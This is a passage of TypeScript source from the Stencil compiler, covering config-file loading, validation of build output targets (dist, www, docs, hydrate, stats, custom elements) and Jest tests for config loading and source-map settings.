therefore needs to be created before it can be // attached to a configuration entity, validated or otherwise) const sys = init.sys ?? createNodeSys(); const loadedConfigFile = await loadConfigFile(results.diagnostics, configPath); if (hasError(results.diagnostics)) { return results; } if (loadedConfigFile !== null) { // merge the user's config object into their loaded config file configPath = loadedConfigFile.configPath; unknownConfig.config = { ...loadedConfigFile, ...config }; unknownConfig.config.configPath = configPath; unknownConfig.config.rootDir = typeof config.rootDir === 'string' ? config.rootDir : normalizePath(dirname(configPath)); } else { // no stencil.config.ts or .js file, which is fine unknownConfig.config = { ...config }; unknownConfig.config.configPath = null; unknownConfig.config.rootDir = normalizePath(sys.getCurrentDirectory()); } unknownConfig.config.sys = sys; const validated = validateConfig(unknownConfig.config, init); results.diagnostics.push(...validated.diagnostics); if (hasError(results.diagnostics)) { return results; } results.config = validated.config; if (!hasError(results.diagnostics)) { const tsConfigResults = await validateTsConfig(results.config, sys, init); results.diagnostics.push(...tsConfigResults.diagnostics); results.config.tsconfig = tsConfigResults.path; results.config.tsCompilerOptions = tsConfigResults.compilerOptions; results.config.tsWatchOptions = tsConfigResults.watchOptions; results.tsconfig.path = tsConfigResults.path; results.tsconfig.compilerOptions = JSON.parse(JSON.stringify(tsConfigResults.compilerOptions)); results.tsconfig.files = tsConfigResults.files; results.tsconfig.include = tsConfigResults.include; results.tsconfig.exclude = tsConfigResults.exclude; results.tsconfig.extends = tsConfigResults.extends; } } catch (e: any) { catchError(results.diagnostics, e); } return results; }; /** * Load a Stencil configuration file from disk * * @param diagnostics a series of diagnostics used to track errors & warnings * throughout the loading process. Entries may be added to this list in the * event of an error. * @param configPath the path to the configuration file to load * @returns an unvalidated configuration. In the event of an error, additional * diagnostics may be pushed to the provided `diagnostics` argument and `null` * will be returned. */ const loadConfigFile = async (diagnostics: Diagnostic[], configPath: string): Promise => { let config: UnvalidatedConfig | null = null; if (isString(configPath)) { // the passed in config was a string, so it's probably a path to the config we need to load const configFileData = await evaluateConfigFile(diagnostics, configPath); if (hasError(diagnostics)) { return config; } if (!configFileData.config) { const err = buildError(diagnostics); err.messageText = `Invalid Stencil configuration file "${configPath}". Missing "config" property.`; err.absFilePath = configPath; return config; } config = configFileData.config; config.configPath = normalizePath(configPath); } return config; }; /** * Load the configuration file, based on the environment that Stencil is being run in * * @param diagnostics a series of diagnostics used to track errors & warnings * throughout the loading process. Entries may be added to this list in the * event of an error. * @param configFilePath the path to the configuration file to load * @returns an unvalidated configuration. In the event of an error, additional * diagnostics may be pushed to the provided `diagnostics` argument and `null` * will be returned. */ const evaluateConfigFile = async ( diagnostics: Diagnostic[], configFilePath: string, ): Promise<{ config?: UnvalidatedConfig } | null> => { let configFileData: { config?: UnvalidatedConfig } | null = null; try { const results = nodeRequire(configFilePath); diagnostics.push(...results.diagnostics); configFileData = results.module; } catch (e: any) { catchError(diagnostics, e); } return configFileData; }; ================================================ FILE: src/compiler/config/outputs/index.ts ================================================ import { buildError, isValidConfigOutputTarget, VALID_CONFIG_OUTPUT_TARGETS } from '@utils'; import type * as d from '../../../declarations'; import { validateCollection } from './validate-collection'; import { validateCustomElement } from './validate-custom-element'; import { validateCustomOutput } from './validate-custom-output'; import { validateDist } from './validate-dist'; import { validateDocs } from './validate-docs'; import { validateHydrateScript } from './validate-hydrate-script'; import { validateLazy } from './validate-lazy'; import { validateStats } from './validate-stats'; import { validateWww } from './validate-www'; export const validateOutputTargets = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[]) => { const userOutputs = (config.outputTargets || []).slice(); userOutputs.forEach((outputTarget) => { if (!isValidConfigOutputTarget(outputTarget.type)) { const err = buildError(diagnostics); err.messageText = `Invalid outputTarget type "${ outputTarget.type }". Valid outputTarget types include: ${VALID_CONFIG_OUTPUT_TARGETS.map((t) => `"${t}"`).join(', ')}`; } }); config.outputTargets = [ ...validateCollection(config, userOutputs), ...validateCustomElement(config, userOutputs), ...validateCustomOutput(config, diagnostics, userOutputs), ...validateLazy(config, userOutputs), ...validateWww(config, diagnostics, userOutputs), ...validateDist(config, userOutputs), ...validateDocs(config, diagnostics, userOutputs), ...validateStats(config, userOutputs), ]; // hydrate also gets info from the www output config.outputTargets = [ ...config.outputTargets, ...validateHydrateScript(config, [...userOutputs, ...config.outputTargets]), ]; }; ================================================ FILE: src/compiler/config/outputs/validate-collection.ts ================================================ import { isBoolean, isOutputTargetDistCollection } from '@utils'; import type * as d from '../../../declarations'; import { getAbsolutePath } from '../config-utils'; /** * Validate and return DIST_COLLECTION output targets, ensuring that the `dir` * property is set on them. * * @param config a validated configuration object * @param userOutputs an array of output targets * @returns an array of validated DIST_COLLECTION output targets */ export const validateCollection = ( config: d.ValidatedConfig, userOutputs: d.OutputTarget[], ): d.OutputTargetDistCollection[] => { return userOutputs.filter(isOutputTargetDistCollection).map((outputTarget) => { return { ...outputTarget, transformAliasedImportPaths: isBoolean(outputTarget.transformAliasedImportPaths) ? outputTarget.transformAliasedImportPaths : true, dir: getAbsolutePath(config, outputTarget.dir ?? 'dist/collection'), }; }); }; ================================================ FILE: src/compiler/config/outputs/validate-custom-element.ts ================================================ import { COPY, DIST_TYPES, isBoolean, isOutputTargetDistCustomElements, join } from '@utils'; import type { OutputTarget, OutputTargetCopy, OutputTargetDistCustomElements, OutputTargetDistTypes, ValidatedConfig, } from '../../../declarations'; import { CustomElementsExportBehaviorOptions } from '../../../declarations'; import { getAbsolutePath } from '../config-utils'; import { validateCopy } from '../validate-copy'; /** * Validate one or more `dist-custom-elements` output targets. Validation of an output target may involve back-filling * fields that are omitted with sensible defaults and/or creating additional supporting output targets that were not * explicitly defined by the user * @param config the Stencil configuration associated with the project being compiled * @param userOutputs the output target(s) specified by the user * @returns the validated output target(s) */ export const validateCustomElement = ( config: ValidatedConfig, userOutputs: ReadonlyArray, ): ReadonlyArray => { const defaultDir = 'dist'; return userOutputs.filter(isOutputTargetDistCustomElements).reduce( (outputs, o) => { const outputTarget = { ...o, dir: getAbsolutePath(config, o.dir || join(defaultDir, 'components')), }; if (!isBoolean(outputTarget.empty)) { outputTarget.empty = true; } if (!isBoolean(outputTarget.externalRuntime)) { outputTarget.externalRuntime = true; } if (!isBoolean(outputTarget.generateTypeDeclarations)) { outputTarget.generateTypeDeclarations = true; } // Export behavior must be defined on the validated target config and must // be one of the export behavior valid values if ( outputTarget.customElementsExportBehavior == null || !CustomElementsExportBehaviorOptions.includes(outputTarget.customElementsExportBehavior) ) { outputTarget.customElementsExportBehavior = 'default'; } // Normalize autoLoader option if (outputTarget.autoLoader === true) { outputTarget.autoLoader = { fileName: 'loader', autoStart: true, }; } else if (outputTarget.autoLoader && typeof outputTarget.autoLoader === 'object') { outputTarget.autoLoader = { fileName: outputTarget.autoLoader.fileName || 'loader', autoStart: outputTarget.autoLoader.autoStart !== false, }; } // unlike other output targets, Stencil does not allow users to define the output location of types at this time if (outputTarget.generateTypeDeclarations) { const typesDirectory = getAbsolutePath(config, join(defaultDir, 'types')); outputs.push({ type: DIST_TYPES, dir: outputTarget.dir, typesDir: typesDirectory, }); } outputTarget.copy = validateCopy(outputTarget.copy, []); if (outputTarget.copy.length > 0) { outputs.push({ type: COPY, dir: config.rootDir, copy: [...outputTarget.copy], }); } outputs.push(outputTarget); return outputs; }, [] as (OutputTargetDistCustomElements | OutputTargetCopy | OutputTargetDistTypes)[], ); }; ================================================ FILE: src/compiler/config/outputs/validate-custom-output.ts ================================================ import { catchError, COPY, isOutputTargetCustom } from '@utils'; import type * as d from '../../../declarations'; export const validateCustomOutput = ( config: d.ValidatedConfig, diagnostics: d.Diagnostic[], userOutputs: d.OutputTarget[], ) => { return userOutputs.filter(isOutputTargetCustom).map((o) => { if (o.validate) { const localDiagnostics: d.Diagnostic[] = []; try { o.validate(config, diagnostics); } catch (e: any) { catchError(localDiagnostics, e); } if (o.copy && o.copy.length > 0) { config.outputTargets.push({ type: COPY, dir: config.rootDir, copy: [...o.copy], }); } diagnostics.push(...localDiagnostics); } return o; }); }; ================================================ FILE: src/compiler/config/outputs/validate-dist.ts ================================================ import { COPY, DIST_COLLECTION, DIST_GLOBAL_STYLES, DIST_LAZY, DIST_LAZY_LOADER, DIST_TYPES, getComponentsDtsTypesFilePath, isBoolean, isOutputTargetDist, isString, join, resolve, } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../../declarations'; import { getAbsolutePath } from '../config-utils'; import { validateCopy } from '../validate-copy'; /** * Validate that the "dist" output targets are valid and ready to go. * * This function will also add in additional output targets to its output, based on the input supplied. * * @param config the compiler config, what else? * @param userOutputs a user-supplied list of output targets. * @returns a list of OutputTargets which have been validated for us. */ export const validateDist = (config: d.ValidatedConfig, userOutputs: d.OutputTarget[]): d.OutputTarget[] => { const distOutputTargets = userOutputs.filter(isOutputTargetDist); const outputs: d.OutputTarget[] = []; for (const outputTarget of distOutputTargets) { const distOutputTarget = validateOutputTargetDist(config, outputTarget); outputs.push(distOutputTarget); const namespace = config.fsNamespace || 'app'; const lazyDir = join(distOutputTarget.buildDir, namespace); // Lazy build for CDN in dist outputs.push({ type: DIST_LAZY, esmDir: lazyDir, systemDir: config.buildEs5 ? lazyDir : undefined, systemLoaderFile: config.buildEs5 ? join(lazyDir, namespace + '.js') : undefined, legacyLoaderFile: join(distOutputTarget.buildDir, namespace + '.js'), polyfills: outputTarget.polyfills !== undefined ? !!distOutputTarget.polyfills : true, isBrowserBuild: true, empty: distOutputTarget.empty, }); outputs.push({ type: COPY, dir: lazyDir, copyAssets: 'dist', copy: (distOutputTarget.copy ?? []).concat(), }); outputs.push({ type: DIST_GLOBAL_STYLES, file: join(lazyDir, `${config.fsNamespace}.css`), }); outputs.push({ type: DIST_TYPES, dir: distOutputTarget.dir, typesDir: distOutputTarget.typesDir, }); if (config.buildDist) { if (distOutputTarget.collectionDir) { outputs.push({ type: DIST_COLLECTION, dir: distOutputTarget.dir, collectionDir: distOutputTarget.collectionDir, empty: distOutputTarget.empty, transformAliasedImportPaths: distOutputTarget.transformAliasedImportPathsInCollection, }); outputs.push({ type: COPY, dir: distOutputTarget.collectionDir, copyAssets: 'collection', copy: [...distOutputTarget.copy, { src: '**/*.svg' }, { src: '**/*.js' }], }); } const esmDir = join(distOutputTarget.dir, 'esm'); const esmEs5Dir = config.buildEs5 ? join(distOutputTarget.dir, 'esm-es5') : undefined; const cjsDir = join(distOutputTarget.dir, 'cjs'); // Create lazy output-target outputs.push({ type: DIST_LAZY, esmDir, esmEs5Dir, cjsDir, cjsIndexFile: join(distOutputTarget.dir, 'index.cjs.js'), esmIndexFile: join(distOutputTarget.dir, 'index.js'), polyfills: true, empty: distOutputTarget.empty, }); // Create output target that will generate the /loader entry-point outputs.push({ type: DIST_LAZY_LOADER, dir: distOutputTarget.esmLoaderPath, esmDir, esmEs5Dir, cjsDir, componentDts: getComponentsDtsTypesFilePath(distOutputTarget), empty: distOutputTarget.empty, }); } } return outputs; }; /** * Validate that an OutputTargetDist object has what it needs to do it's job. * To enforce this, we have this function return * `Required`, giving us a compile-time check that all * properties are defined (with either user-supplied or default values). * * @param config the current config * @param o the OutputTargetDist object we want to validate * @returns `Required`, i.e. `d.OutputTargetDist` with all * optional properties rendered un-optional. */ const validateOutputTargetDist = (config: d.ValidatedConfig, o: d.OutputTargetDist): Required => { // we need to create an object with a bunch of default values here so that // the typescript compiler can infer their types correctly const outputTarget = { ...o, dir: getAbsolutePath(config, o.dir || DEFAULT_DIR), buildDir: isString(o.buildDir) ? o.buildDir : DEFAULT_BUILD_DIR, collectionDir: o.collectionDir !== undefined ? o.collectionDir : DEFAULT_COLLECTION_DIR, typesDir: o.typesDir || DEFAULT_TYPES_DIR, esmLoaderPath: o.esmLoaderPath || DEFAULT_ESM_LOADER_DIR, copy: validateCopy(o.copy ?? [], []), polyfills: isBoolean(o.polyfills) ? o.polyfills : false, empty: isBoolean(o.empty) ? o.empty : true, transformAliasedImportPathsInCollection: isBoolean(o.transformAliasedImportPathsInCollection) ? o.transformAliasedImportPathsInCollection : true, isPrimaryPackageOutputTarget: o.isPrimaryPackageOutputTarget ?? false, } satisfies Required; if (!isAbsolute(outputTarget.buildDir)) { outputTarget.buildDir = join(outputTarget.dir, outputTarget.buildDir); } if (outputTarget.collectionDir && !isAbsolute(outputTarget.collectionDir)) { outputTarget.collectionDir = join(outputTarget.dir, outputTarget.collectionDir); } if (!isAbsolute(outputTarget.esmLoaderPath)) { outputTarget.esmLoaderPath = resolve(outputTarget.dir, outputTarget.esmLoaderPath); } if (!isAbsolute(outputTarget.typesDir)) { outputTarget.typesDir = join(outputTarget.dir, outputTarget.typesDir); } return outputTarget; }; const DEFAULT_DIR = 'dist'; const DEFAULT_BUILD_DIR = ''; const DEFAULT_COLLECTION_DIR = 'collection'; const DEFAULT_TYPES_DIR = 'types'; const DEFAULT_ESM_LOADER_DIR = 'loader'; ================================================ FILE: src/compiler/config/outputs/validate-docs.ts ================================================ import { buildError, DOCS_JSON, DOCS_README, isFunction, isOutputTargetDocsCustom, isOutputTargetDocsCustomElementsManifest, isOutputTargetDocsJson, isOutputTargetDocsReadme, isOutputTargetDocsVscode, isString, join, } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../../declarations'; import { NOTE } from '../../docs/constants'; export const validateDocs = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[], userOutputs: d.OutputTarget[]) => { const docsOutputs: d.OutputTarget[] = []; // json docs flag if (isString(config.flags.docsJson)) { docsOutputs.push( validateJsonDocsOutputTarget(config, diagnostics, { type: DOCS_JSON, file: config.flags.docsJson, }), ); } // json docs const jsonDocsOutputs = userOutputs.filter(isOutputTargetDocsJson); jsonDocsOutputs.forEach((jsonDocsOutput) => { docsOutputs.push(validateJsonDocsOutputTarget(config, diagnostics, jsonDocsOutput)); }); // readme docs flag if (config.flags.docs || config.flags.task === 'docs') { if (!userOutputs.some(isOutputTargetDocsReadme)) { // didn't provide a docs config, so let's add one docsOutputs.push(validateReadmeOutputTarget(config, { type: DOCS_README })); } } // readme docs const readmeDocsOutputs = userOutputs.filter(isOutputTargetDocsReadme); readmeDocsOutputs.forEach((readmeDocsOutput) => { docsOutputs.push(validateReadmeOutputTarget(config, readmeDocsOutput)); }); // custom docs const customDocsOutputs = userOutputs.filter(isOutputTargetDocsCustom); customDocsOutputs.forEach((jsonDocsOutput) => { docsOutputs.push(validateCustomDocsOutputTarget(diagnostics, jsonDocsOutput)); }); // vscode docs const vscodeDocsOutputs = userOutputs.filter(isOutputTargetDocsVscode); vscodeDocsOutputs.forEach((vscodeDocsOutput) => { docsOutputs.push(validateVScodeDocsOutputTarget(diagnostics, vscodeDocsOutput)); }); // custom elements manifest docs const customElementsManifestOutputs = userOutputs.filter(isOutputTargetDocsCustomElementsManifest); customElementsManifestOutputs.forEach((cemOutput) => { docsOutputs.push(validateCustomElementsManifestOutputTarget(config, cemOutput)); }); return docsOutputs; }; const validateReadmeOutputTarget = (config: d.ValidatedConfig, outputTarget: d.OutputTargetDocsReadme) => { if (!isString(outputTarget.dir)) { outputTarget.dir = config.srcDir; } if (!isAbsolute(outputTarget.dir)) { outputTarget.dir = join(config.rootDir, outputTarget.dir); } if (outputTarget.footer == null) { outputTarget.footer = NOTE; } outputTarget.strict = !!outputTarget.strict; return outputTarget; }; const validateJsonDocsOutputTarget = ( config: d.ValidatedConfig, diagnostics: d.Diagnostic[], outputTarget: d.OutputTargetDocsJson, ) => { if (!isString(outputTarget.file)) { const err = buildError(diagnostics); err.messageText = `docs-json outputTarget missing the "file" option`; } outputTarget.file = join(config.rootDir, outputTarget.file); if (isString(outputTarget.typesFile)) { outputTarget.typesFile = join(config.rootDir, outputTarget.typesFile); } else if (outputTarget.typesFile !== null && outputTarget.file.endsWith('.json')) { outputTarget.typesFile = outputTarget.file.replace(/\.json$/, '.d.ts'); } outputTarget.strict = !!outputTarget.strict; return outputTarget; }; const validateCustomDocsOutputTarget = (diagnostics: d.Diagnostic[], outputTarget: d.OutputTargetDocsCustom) => { if (!isFunction(outputTarget.generator)) { const err = buildError(diagnostics); err.messageText = `docs-custom outputTarget missing the "generator" function`; } outputTarget.strict = !!outputTarget.strict; return outputTarget; }; const validateVScodeDocsOutputTarget = (diagnostics: d.Diagnostic[], outputTarget: d.OutputTargetDocsVscode) => { if (!isString(outputTarget.file)) { const err = buildError(diagnostics); err.messageText = `docs-vscode outputTarget missing the "file" path`; } return outputTarget; }; const validateCustomElementsManifestOutputTarget = ( config: d.ValidatedConfig, outputTarget: d.OutputTargetDocsCustomElementsManifest, ) => { if (!isString(outputTarget.file)) { outputTarget.file = 'custom-elements.json'; } outputTarget.file = join(config.rootDir, outputTarget.file); outputTarget.strict = !!outputTarget.strict; return outputTarget; }; ================================================ FILE: src/compiler/config/outputs/validate-hydrate-script.ts ================================================ import { DIST_HYDRATE_SCRIPT, isBoolean, isOutputTargetDist, isOutputTargetHydrate, isOutputTargetWww, isString, join, } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../../declarations'; export const validateHydrateScript = (config: d.ValidatedConfig, userOutputs: d.OutputTarget[]) => { const output: d.OutputTargetHydrate[] = []; const hasHydrateOutputTarget = userOutputs.some(isOutputTargetHydrate); if (!hasHydrateOutputTarget) { // we don't already have a hydrate output target // let's still see if we require one because of other output targets const hasWwwOutput = userOutputs.filter(isOutputTargetWww).some((o) => isString(o.indexHtml)); const shouldBuildHydrate = config.flags.prerender || config.flags.ssr; if (hasWwwOutput && shouldBuildHydrate) { // we're prerendering a www output target, so we'll need a hydrate app let hydrateDir: string; const distOutput = userOutputs.find(isOutputTargetDist); if (distOutput != null && isString(distOutput.dir)) { hydrateDir = join(distOutput.dir, 'hydrate'); } else { hydrateDir = 'dist/hydrate'; } const hydrateForWwwOutputTarget: d.OutputTargetHydrate = { type: DIST_HYDRATE_SCRIPT, dir: hydrateDir, }; userOutputs.push(hydrateForWwwOutputTarget); } } const hydrateOutputTargets = userOutputs.filter(isOutputTargetHydrate); hydrateOutputTargets.forEach((outputTarget) => { if (!isString(outputTarget.dir)) { // no directory given, see if we've got a dist to go off of outputTarget.dir = 'hydrate'; } if (!isAbsolute(outputTarget.dir)) { outputTarget.dir = join(config.rootDir, outputTarget.dir); } if (!isBoolean(outputTarget.empty)) { outputTarget.empty = true; } if (!isBoolean(outputTarget.minify)) { outputTarget.minify = false; } if (!isBoolean(outputTarget.generatePackageJson)) { outputTarget.generatePackageJson = true; } outputTarget.external = outputTarget.external || []; outputTarget.external.push('fs'); outputTarget.external.push('path'); outputTarget.external.push('crypto'); output.push(outputTarget); }); return output; }; ================================================ FILE: src/compiler/config/outputs/validate-lazy.ts ================================================ import { DIST_LAZY, isBoolean, isOutputTargetDistLazy, join } from '@utils'; import type * as d from '../../../declarations'; import { getAbsolutePath } from '../config-utils'; export const validateLazy = (config: d.ValidatedConfig, userOutputs: d.OutputTarget[]) => { return userOutputs.filter(isOutputTargetDistLazy).map((o) => { const dir = getAbsolutePath(config, o.dir || join('dist', config.fsNamespace)); const lazyOutput: d.OutputTargetDistLazy = { type: DIST_LAZY, esmDir: dir, systemDir: config.buildEs5 ? dir : undefined, systemLoaderFile: config.buildEs5 ? join(dir, `${config.fsNamespace}.js`) : undefined, polyfills: !!o.polyfills, isBrowserBuild: true, empty: isBoolean(o.empty) ? o.empty : true, }; return lazyOutput; }); }; ================================================ FILE: src/compiler/config/outputs/validate-stats.ts ================================================ import { isOutputTargetStats, join, STATS } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../../declarations'; export const validateStats = (userConfig: d.ValidatedConfig, userOutputs: d.OutputTarget[]) => { const outputTargets: d.OutputTargetStats[] = []; if (userConfig.flags.stats) { const hasOutputTarget = userOutputs.some(isOutputTargetStats); if (!hasOutputTarget) { const statsOutput: d.OutputTargetStats = { type: STATS, }; // If --stats was provided with a path (string), use it; otherwise use default if (typeof userConfig.flags.stats === 'string') { statsOutput.file = userConfig.flags.stats; } outputTargets.push(statsOutput); } } outputTargets.push(...userOutputs.filter(isOutputTargetStats)); outputTargets.forEach((outputTarget) => { if (!outputTarget.file) { outputTarget.file = 'stencil-stats.json'; } if (!isAbsolute(outputTarget.file)) { outputTarget.file = join(userConfig.rootDir, outputTarget.file); } }); return outputTargets; }; ================================================ FILE: src/compiler/config/outputs/validate-www.ts ================================================ import { buildError, COPY, DIST_GLOBAL_STYLES, DIST_LAZY, isBoolean, isOutputTargetDist, isOutputTargetWww, isString, join, WWW, } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../../declarations'; import { getAbsolutePath } from '../config-utils'; import { validateCopy } from '../validate-copy'; import { validatePrerender } from '../validate-prerender'; import { validateServiceWorker } from '../validate-service-worker'; export const validateWww = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[], userOutputs: d.OutputTarget[]) => { const hasOutputTargets = userOutputs.length > 0; const hasE2eTests = !!config.flags.e2e; const userWwwOutputs = userOutputs.filter(isOutputTargetWww); if ( !hasOutputTargets || (hasE2eTests && !userOutputs.some(isOutputTargetWww) && !userOutputs.some(isOutputTargetDist)) ) { userWwwOutputs.push({ type: WWW }); } if (config.flags.prerender && userWwwOutputs.length === 0) { const err = buildError(diagnostics); err.messageText = `You need at least one "www" output target configured in your stencil.config.ts, when the "--prerender" flag is used`; } return userWwwOutputs.reduce( ( outputs: (d.OutputTargetWww | d.OutputTargetDistLazy | d.OutputTargetCopy | d.OutputTargetDistGlobalStyles)[], o, ) => { const outputTarget = validateWwwOutputTarget(config, o, diagnostics); outputs.push(outputTarget); // Add dist-lazy output target const buildDir = outputTarget.buildDir; outputs.push({ type: DIST_LAZY, dir: buildDir, esmDir: buildDir, systemDir: config.buildEs5 ? buildDir : undefined, systemLoaderFile: config.buildEs5 ? join(buildDir, `${config.fsNamespace}.js`) : undefined, polyfills: outputTarget.polyfills, isBrowserBuild: true, }); // Copy for dist outputs.push({ type: COPY, dir: buildDir, copyAssets: 'dist', }); // Copy for www outputs.push({ type: COPY, dir: outputTarget.appDir, copy: validateCopy(outputTarget.copy, [ { src: 'assets', warn: false }, { src: 'manifest.json', warn: false }, ]), }); // Generate global style with original name outputs.push({ type: DIST_GLOBAL_STYLES, file: join(buildDir, `${config.fsNamespace}.css`), }); return outputs; }, [], ); }; const validateWwwOutputTarget = ( config: d.ValidatedConfig, outputTarget: d.OutputTargetWww, diagnostics: d.Diagnostic[], ) => { if (!isString(outputTarget.baseUrl)) { outputTarget.baseUrl = '/'; } if (!outputTarget.baseUrl.endsWith('/')) { // Make sure the baseUrl always finish with "/" outputTarget.baseUrl += '/'; } outputTarget.dir = getAbsolutePath(config, outputTarget.dir || 'www'); // Fix "dir" to account const pathname = new URL(outputTarget.baseUrl, 'http://localhost/').pathname; outputTarget.appDir = join(outputTarget.dir, pathname); if (outputTarget.appDir.endsWith('/') || outputTarget.appDir.endsWith('\\')) { outputTarget.appDir = outputTarget.appDir.substring(0, outputTarget.appDir.length - 1); } if (!isString(outputTarget.buildDir)) { outputTarget.buildDir = 'build'; } if (!isAbsolute(outputTarget.buildDir)) { outputTarget.buildDir = join(outputTarget.appDir, outputTarget.buildDir); } if (!isString(outputTarget.indexHtml)) { outputTarget.indexHtml = 'index.html'; } if (!isAbsolute(outputTarget.indexHtml)) { outputTarget.indexHtml = join(outputTarget.appDir, outputTarget.indexHtml); } if (!isBoolean(outputTarget.empty)) { outputTarget.empty = true; } validatePrerender(config, diagnostics, outputTarget); validateServiceWorker(config, outputTarget); if (outputTarget.polyfills === undefined) { outputTarget.polyfills = true; } outputTarget.polyfills = !!outputTarget.polyfills; return outputTarget; }; ================================================ FILE: src/compiler/config/test/fixtures/stencil.config.ts ================================================ import { Config } from '../../../../declarations'; export const config: Config = { hashedFileNameLength: 13, }; ================================================ FILE: src/compiler/config/test/fixtures/stencil.config2.ts ================================================ import { Config } from '../../../../declarations'; export const config: Config = { hashedFileNameLength: 27, flags: { dev: true, }, extras: { enableImportInjection: true, }, }; ================================================ FILE: src/compiler/config/test/load-config.spec.ts ================================================ import { mockCompilerSystem } from '@stencil/core/testing'; import path from 'path'; import ts from 'typescript'; import { ConfigFlags } from '../../../cli/config-flags'; import type * as d from '../../../declarations'; import { normalizePath } from '../../../utils'; import { loadConfig } from '../load-config'; describe('load config', () => { const configPath = require.resolve('./fixtures/stencil.config.ts'); const configPath2 = require.resolve('./fixtures/stencil.config2.ts'); let sys: d.CompilerSystem; beforeEach(() => { sys = mockCompilerSystem(); jest.spyOn(ts, 'getParsedCommandLineOfConfigFile').mockReturnValue({ options: { target: ts.ScriptTarget.ES2017, module: ts.ModuleKind.ESNext, }, fileNames: [], errors: [], }); }); afterEach(() => { jest.clearAllMocks(); }); it("merges a user's configuration with a stencil.config file on disk", async () => { const loadedConfig = await loadConfig({ configPath: configPath2, sys, config: { hashedFileNameLength: 9, rootDir: '/foo/bar', }, initTsConfig: true, }); expect(loadedConfig.diagnostics).toHaveLength(0); const actualConfig = loadedConfig.config; // this field is defined on the `init` argument, and should override the value found in the config on disk expect(actualConfig).toBeDefined(); expect(actualConfig.hashedFileNameLength).toEqual(9); // these fields are defined in the config file on disk, and should be present expect(actualConfig.flags).toEqual({ dev: true }); expect(actualConfig.extras).toBeDefined(); expect(actualConfig.extras!.enableImportInjection).toBe(true); // respects custom root dir expect(actualConfig.rootDir).toBe('/foo/bar'); }); it('uses the provided config path when no initial config provided', async () => { const loadedConfig = await loadConfig({ configPath, sys, initTsConfig: true, }); expect(loadedConfig.diagnostics).toHaveLength(0); const actualConfig = loadedConfig.config; expect(actualConfig).toBeDefined(); // set the config path based on the one provided in the init object expect(actualConfig.configPath).toBe(normalizePath(configPath)); // this field is defined in the config file on disk, and should be present expect(actualConfig.hashedFileNameLength).toBe(13); // this field should default to an empty object literal, since it wasn't present in the config file expect(actualConfig.flags).toEqual({}); }); describe('empty initialization argument', () => { it('provides sensible default values with no config', async () => { const loadedConfig = await loadConfig({ initTsConfig: true, sys }); const actualConfig = loadedConfig.config; expect(actualConfig).toBeDefined(); expect(actualConfig.sys).toBeDefined(); expect(actualConfig.logger).toBeDefined(); expect(actualConfig.configPath).toBe(null); }); it('creates a tsconfig file when "initTsConfig" set', async () => { const tsconfigPath = path.resolve(path.dirname(configPath), 'tsconfig.json'); expect(sys.accessSync(tsconfigPath)).toBe(false); const loadedConfig = await loadConfig({ initTsConfig: true, configPath, sys }); expect(sys.accessSync(tsconfigPath)).toBe(true); expect(loadedConfig.diagnostics).toHaveLength(0); }); it('errors that a tsconfig file could not be created when "initTsConfig" isn\'t present', async () => { const loadedConfig = await loadConfig({ configPath, sys }); expect(loadedConfig.diagnostics).toHaveLength(1); expect(loadedConfig.diagnostics[0]).toEqual({ absFilePath: undefined, header: 'Missing tsconfig.json', level: 'error', lines: [], messageText: `Unable to load TypeScript config file. Please create a "tsconfig.json" file within the "${normalizePath( path.dirname(configPath), )}" directory.`, relFilePath: undefined, type: 'build', }); }); }); describe('no initialization argument', () => { it('errors that a tsconfig file cannot be found', async () => { const loadConfigResults = await loadConfig({ sys }); expect(loadConfigResults.diagnostics).toHaveLength(1); expect(loadConfigResults.diagnostics[0]).toEqual({ absFilePath: undefined, header: 'Missing tsconfig.json', level: 'error', lines: [], messageText: expect.stringMatching( `Unable to load TypeScript config file. Please create a "tsconfig.json" file within the`, ), relFilePath: undefined, type: 'build', }); }); }); }); ================================================ FILE: src/compiler/config/test/tsconfig.json ================================================ { "extends": "../../../testing/tsconfig.internal.json" } ================================================ FILE: src/compiler/config/test/validate-config-sourcemap.spec.ts ================================================ import { mockCompilerSystem, mockLoadConfigInit } from '@stencil/core/testing'; import ts from 'typescript'; import type * as d from '../../../declarations'; import { loadConfig } from '../load-config'; import { validateConfig } from '../validate-config'; describe('stencil config - sourceMap option', () => { const configPath = require.resolve('./fixtures/stencil.config.ts'); let sys = mockCompilerSystem(); /** * Test helper for generating default `d.LoadConfigInit` objects. * * This function assumes the fields in the enclosing scope have been initialized. * @param overrides the properties on the default `d.LoadConfigInit` entity to manually override * @returns the default configuration initialization object, with any overrides applied */ const getLoadConfigForTests = (overrides?: Partial): d.LoadConfigInit => { const defaults: d.LoadConfigInit = { configPath, sys: sys as any, config: {}, initTsConfig: true, }; return mockLoadConfigInit({ ...defaults, ...overrides }); }; /** * Test helper for mocking the {@link ts.getParsedCommandLineOfConfigFile} function. This function returns the appropriate * `options` object based on the `sourceMap` argument. * * @param sourceMap The `sourceMap` option from the Stencil config. */ const mockTsConfigParser = (sourceMap: boolean) => { jest.spyOn(ts, 'getParsedCommandLineOfConfigFile').mockReturnValue({ options: { target: ts.ScriptTarget.ES2017, module: ts.ModuleKind.ESNext, sourceMap, inlineSources: sourceMap, }, fileNames: [], errors: [], }); }; beforeEach(() => { sys = mockCompilerSystem(); }); afterEach(() => { jest.clearAllMocks(); }); it('sets sourceMap to true when explicitly set to true', async () => { const userConfig: d.UnvalidatedConfig = { sourceMap: true }; const { config: validatedConfig } = validateConfig(userConfig, {}); expect(validatedConfig.sourceMap).toBe(true); mockTsConfigParser(validatedConfig.sourceMap); const testConfig = getLoadConfigForTests({ config: userConfig }); const loadConfigResults = await loadConfig(testConfig); const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions; expect(sourceMap).toBe(true); expect(inlineSources).toBe(true); }); it('sets sourceMap to false when explicitly set to false', async () => { const userConfig: d.UnvalidatedConfig = { sourceMap: false }; const { config: validatedConfig } = validateConfig(userConfig, {}); expect(validatedConfig.sourceMap).toBe(false); mockTsConfigParser(validatedConfig.sourceMap); const testConfig = getLoadConfigForTests({ config: userConfig }); const loadConfigResults = await loadConfig(testConfig); const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions; expect(sourceMap).toBe(false); expect(inlineSources).toBe(false); }); it('defaults to "dev" behavior (false in prod mode)', 